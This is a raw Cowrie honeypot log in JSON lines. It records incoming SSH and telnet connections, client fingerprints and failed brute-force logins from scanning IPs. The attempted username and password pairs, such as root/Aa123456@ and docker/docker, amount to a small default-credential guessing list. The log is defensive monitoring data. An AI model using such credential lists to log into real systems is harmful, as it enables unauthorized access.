{"eventid":"cowrie.session.closed","duration":36.45153832435608,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:46.500078Z","src_ip":"206.189.71.75","session":"6412c33a2200","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":34080,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb99ac5a860e","protocol":"ssh","message":"New connection: 192.109.200.78:34080 (10.17.0.5:22) [session: cb99ac5a860e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:46.886062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:46.892491Z","src_ip":"192.109.200.78","session":"cb99ac5a860e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:46.976352Z","src_ip":"192.109.200.78","session":"cb99ac5a860e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.824689626693726,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:47.107817Z","src_ip":"206.189.71.75","session":"3d855329ff35","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"orca","password":"orca","message":"login attempt [orca/orca] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:47.227856Z","src_ip":"192.109.200.78","session":"cb99ac5a860e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.52616024017334,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:47.580201Z","src_ip":"206.189.71.75","session":"48c3483564e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:48.329713Z","src_ip":"192.109.200.78","session":"cb99ac5a860e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":46340,"dst_ip":"159.203.135.109","dst_port":23,"session":"976e49e7a317","protocol":"telnet","message":"New connection: 206.189.71.75:46340 (159.203.135.109:23) [session: 976e49e7a317]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:48.781300Z"}
{"eventid":"cowrie.session.closed","duration":36.52603220939636,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:49.589669Z","src_ip":"206.189.71.75","session":"f9bccb9ba05b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":46490,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5ad64613fe6","protocol":"telnet","message":"New connection: 206.189.71.75:46490 (159.203.135.109:23) [session: f5ad64613fe6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:49.969249Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54312,"dst_ip":"10.17.0.5","dst_port":22,"session":"756c6cec41e6","protocol":"ssh","message":"New connection: 192.109.200.78:54312 (10.17.0.5:22) [session: 756c6cec41e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:51.077210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:51.081798Z","src_ip":"192.109.200.78","session":"756c6cec41e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:51.165099Z","src_ip":"192.109.200.78","session":"756c6cec41e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vbox","password":"123456","message":"login attempt [vbox/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:51.416876Z","src_ip":"192.109.200.78","session":"756c6cec41e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:52.504359Z","src_ip":"192.109.200.78","session":"756c6cec41e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54328,"dst_ip":"10.17.0.5","dst_port":22,"session":"7949e51bb90c","protocol":"ssh","message":"New connection: 192.109.200.78:54328 (10.17.0.5:22) [session: 7949e51bb90c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:55.145710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:55.240544Z","src_ip":"192.109.200.78","session":"7949e51bb90c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:55.348065Z","src_ip":"192.109.200.78","session":"7949e51bb90c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"123456","message":"login attempt [user2/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:55.698258Z","src_ip":"192.109.200.78","session":"7949e51bb90c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:56.784482Z","src_ip":"192.109.200.78","session":"7949e51bb90c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":53224,"dst_ip":"159.203.135.109","dst_port":23,"session":"884c60fa604e","protocol":"telnet","message":"New connection: 206.189.71.75:53224 (159.203.135.109:23) [session: 884c60fa604e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:57.065904Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48882,"dst_ip":"10.17.0.5","dst_port":22,"session":"02a855d660cf","protocol":"ssh","message":"New connection: 192.109.200.78:48882 (10.17.0.5:22) [session: 02a855d660cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:59.378245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:59.382914Z","src_ip":"192.109.200.78","session":"02a855d660cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:59.463608Z","src_ip":"192.109.200.78","session":"02a855d660cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"wang123","message":"login attempt [wang/wang123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:59.788581Z","src_ip":"192.109.200.78","session":"02a855d660cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.61074471473694,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:00.537053Z","src_ip":"206.189.71.75","session":"4d8173d4b8fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:00.877713Z","src_ip":"192.109.200.78","session":"02a855d660cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":56580,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ba6a4850e12","protocol":"telnet","message":"New connection: 206.189.71.75:56580 (159.203.135.109:23) [session: 3ba6a4850e12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:01.335131Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":57714,"dst_ip":"159.203.135.109","dst_port":23,"session":"12638fab421d","protocol":"telnet","message":"New connection: 206.189.71.75:57714 (159.203.135.109:23) [session: 12638fab421d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:02.911474Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48890,"dst_ip":"10.17.0.5","dst_port":22,"session":"becaf67221b5","protocol":"ssh","message":"New connection: 192.109.200.78:48890 (10.17.0.5:22) [session: becaf67221b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:03.586431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:03.591671Z","src_ip":"192.109.200.78","session":"becaf67221b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:03.676005Z","src_ip":"192.109.200.78","session":"becaf67221b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker","message":"login attempt [docker/docker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:03.926335Z","src_ip":"192.109.200.78","session":"becaf67221b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.215.198.169","src_port":13020,"dst_ip":"10.17.0.5","dst_port":23,"session":"daf7f90fbd6a","protocol":"telnet","message":"New connection: 106.215.198.169:13020 (10.17.0.5:23) [session: daf7f90fbd6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:04.228752Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:05.042080Z","src_ip":"192.109.200.78","session":"becaf67221b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48906,"dst_ip":"10.17.0.5","dst_port":22,"session":"eda7a34e1db8","protocol":"ssh","message":"New connection: 192.109.200.78:48906 (10.17.0.5:22) [session: eda7a34e1db8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:07.799566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:07.805208Z","src_ip":"192.109.200.78","session":"eda7a34e1db8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:07.899586Z","src_ip":"192.109.200.78","session":"eda7a34e1db8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456","message":"login attempt [debian/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:08.273335Z","src_ip":"192.109.200.78","session":"eda7a34e1db8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:09.358944Z","src_ip":"192.109.200.78","session":"eda7a34e1db8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55758,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e0bf9a13a99","protocol":"ssh","message":"New connection: 192.109.200.78:55758 (10.17.0.5:22) [session: 2e0bf9a13a99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:11.907157Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:11.912558Z","src_ip":"192.109.200.78","session":"2e0bf9a13a99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:12.126370Z","src_ip":"192.109.200.78","session":"2e0bf9a13a99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.66057229042053,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:12.354681Z","src_ip":"206.189.71.75","session":"a940e037fc4a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456@","message":"login attempt [root/Aa123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:12.704877Z","src_ip":"192.109.200.78","session":"2e0bf9a13a99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:13.793818Z","src_ip":"192.109.200.78","session":"2e0bf9a13a99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":38152,"dst_ip":"159.203.135.109","dst_port":23,"session":"101f8133f402","protocol":"telnet","message":"New connection: 206.189.71.75:38152 (159.203.135.109:23) [session: 101f8133f402]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:14.931295Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":38264,"dst_ip":"159.203.135.109","dst_port":23,"session":"4986cfaa2b0d","protocol":"telnet","message":"New connection: 206.189.71.75:38264 (159.203.135.109:23) [session: 4986cfaa2b0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:15.052580Z"}
